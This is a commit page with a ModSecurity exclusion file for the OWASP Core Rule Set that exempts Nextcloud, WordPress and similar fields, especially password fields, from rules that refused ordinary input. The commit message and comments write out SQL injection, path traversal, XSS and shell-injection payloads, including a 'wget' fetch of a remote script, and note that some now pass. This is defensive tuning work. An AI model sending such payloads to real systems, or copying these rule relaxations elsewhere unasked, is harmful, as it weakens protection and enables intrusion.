check / check (push) Failing after 12m7s
A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password now pass; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. Model: opus-5-5
349 lines
19 KiB
Plaintext
349 lines
19 KiB
Plaintext
# The fourteenth change: on Nextcloud's paths, some fields skip the rules that
|
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
|
# a document's text. Each exclusion runs with the request, before the rules it
|
|
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
|
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
|
# applies only when the query has no parameter of that name, so it matters only
|
|
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
|
|
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
|
|
#
|
|
# Four rules read a search or a name as a command or a system file:
|
|
# 930120: .htaccess
|
|
# 932120: powershell
|
|
# 932250: ls -la
|
|
# 932260: python3
|
|
# Each exclusion below removes these four from its fields.
|
|
#
|
|
# A comment, a share's note and an account's status hold sentences a person
|
|
# writes. Four more rules refused ordinary sentences there:
|
|
# 932125: It is fixed; diff attached
|
|
# 932230: Run python3 or powershell; ls -la shows .htaccess
|
|
# 932235: We need more time; find the old notes first
|
|
# 932380: Tested on Windows; powershell works
|
|
# The text of a document holds such sentences too, and code blocks. Two more
|
|
# rules refused a shell script in a code block:
|
|
# 932160: #!/bin/bash
|
|
# 932370: ```bash, which starts the code block
|
|
# These fields skip the rules that refused them. So a shell command such as
|
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
|
# injection, path traversal and script injection are still refused there.
|
|
|
|
# The sync client and the Files app use these WebDAV methods besides those
|
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
|
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
|
|
# MKCOL: making a folder, and starting a chunked upload
|
|
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
|
|
# REPORT: listing favourites and comments
|
|
# SEARCH: the Files app's search
|
|
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900100,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
|
|
|
|
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
|
|
# which every request sends, on every path. Each request of the account
|
|
# python3 was refused.
|
|
SecAction "id:900101,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
|
|
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
|
|
|
|
# Signing in, in the query or the body:
|
|
# user, password: user=python3&password=Example-pass-python3
|
|
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
"id:900102,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
|
|
|
# The password, in the body, skips each rule that random passwords set off.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
"id:900125,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:password "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
|
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
|
|
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
|
"id:900103,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:dir"
|
|
|
|
# The file names on a public share's page. A preview names its file in file:
|
|
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
|
|
"id:900104,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:file,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:file"
|
|
|
|
# A download names its folder in path and its files in files:
|
|
# /s/<token>/download?path=/&files=powershell%20profile.ps1
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
|
|
"id:900105,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
|
|
|
|
# The OCS API's searches and names, in the query, a form data body or a JSON
|
|
# body:
|
|
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
|
|
# cloud/users, cloud/groups, cloud/groups/details and the sharees
|
|
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
|
|
# groupid, userid, displayName: adding the group "Python3 admins" and the
|
|
# account python3, displayName=Ls+-la+Example
|
|
# groups[], or groups in JSON: the groups of a new account,
|
|
# groups[]=Python3+admins
|
|
# value: changing an account's name, address or headline, value=Powershell+Lane
|
|
# path, label, shareWith: sharing the folder "/ls -la output" with the
|
|
# label "python3 link"
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900106,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
|
|
"id:900107,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
|
|
|
|
# A share's note, in the query, a form data body or a JSON body, on a new
|
|
# share or a changed one: {"note":"It is fixed; diff attached"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900108,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:note"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
|
|
"id:900109,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.note "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
|
|
|
|
# An account's status, in the query, a form data body or a JSON body:
|
|
# {"message":"Tested on Windows; powershell works"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900110,phase:1,pass,nolog,\
|
|
ctl:ruleRemoveTargetById=930120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
|
|
"id:900111,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
# The name and slogan in the theming admin settings, in the JSON field value:
|
|
# {"setting":"slogan","value":"ls -la and .htaccess"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
|
|
"id:900112,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.value "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
|
|
|
|
# The Text editor saves a document, such as a folder's Readme.md, with its
|
|
# path in the JSON field filePath and its text in autosaveContent. The text
|
|
# skips the rules for sentences and code blocks too.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
|
|
"id:900113,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
|
|
|
|
# A comment on a file, in the JSON field message of a new comment, and in the
|
|
# XML body of an edited one. It skips the rules for sentences too. An edited
|
|
# comment's XML holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
|
|
"id:900114,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.message "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
|
|
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
|
|
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
|
|
"id:900115,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PROPPATCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932235;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932380;XML:/*"
|
|
|
|
# The Files app's search sends its words in the XML body of a SEARCH request,
|
|
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
|
|
"id:900116,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq SEARCH" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The name of a new tag, in the JSON field name: {"name": "python3"}.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|
"id:900117,phase:1,pass,nolog,chain"
|
|
SecRule &ARGS_GET:json.name "@eq 0" \
|
|
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
|
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
|
|
|
# A file the Files app or the sync client uploads with PUT to the WebDAV
|
|
# paths is a file, not form data. Read as fields, a JSON file holding
|
|
# "python3 -m pytest" was refused (932260), and an XML file holding
|
|
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
|
|
# RAW, a kind of body sww does not read. Its headers, path and query are
|
|
# still checked.
|
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
|
"id:900118,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
|
|
|
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
|
|
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
|
|
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
|
|
# with MKCALENDAR, which 911100 refused.
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
"id:900119,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
|
|
|
|
# Such a client first asks where the calendars and address books are, with a
|
|
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
|
|
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
|
|
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
|
|
"id:900120,phase:1,pass,nolog,\
|
|
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
|
|
|
|
# A new calendar or address book has its name in the XML body of an MKCOL,
|
|
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
|
|
# MKCOL may also hold its description (900124).
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
"id:900121,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# The XML body of an MKCALENDAR holds the new calendar's name and its
|
|
# description. The description is a sentence, and two rules for sentences
|
|
# refused it too:
|
|
# 932125, 932230: Powershell and python3 meetings; ls -la first
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
|
|
"id:900122,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
|
|
"ctl:ruleRemoveTargetById=930120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932120;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932250;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932260;XML:/*"
|
|
|
|
# When the Calendar app changes an event, it names the charset twice in the
|
|
# Content-Type of the PUT:
|
|
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
|
|
# The Contacts app does the same with text/vcard when it changes a contact.
|
|
# 920530 refused both. The body of such a PUT is not read (900118).
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
|
|
"id:900123,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq PUT" "chain"
|
|
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
|
|
"ctl:ruleRemoveById=920530"
|
|
|
|
# The XML body of a new address book's MKCOL may hold its description. Like a
|
|
# calendar's (900122), it is a sentence, and the same two rules refused it:
|
|
# 932125, 932230: Powershell and python3 contacts; ls -la first
|
|
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
|
|
"id:900124,phase:1,pass,nolog,chain"
|
|
SecRule REQUEST_METHOD "@streq MKCOL" \
|
|
"ctl:ruleRemoveTargetById=932125;XML:/*,\
|
|
ctl:ruleRemoveTargetById=932230;XML:/*"
|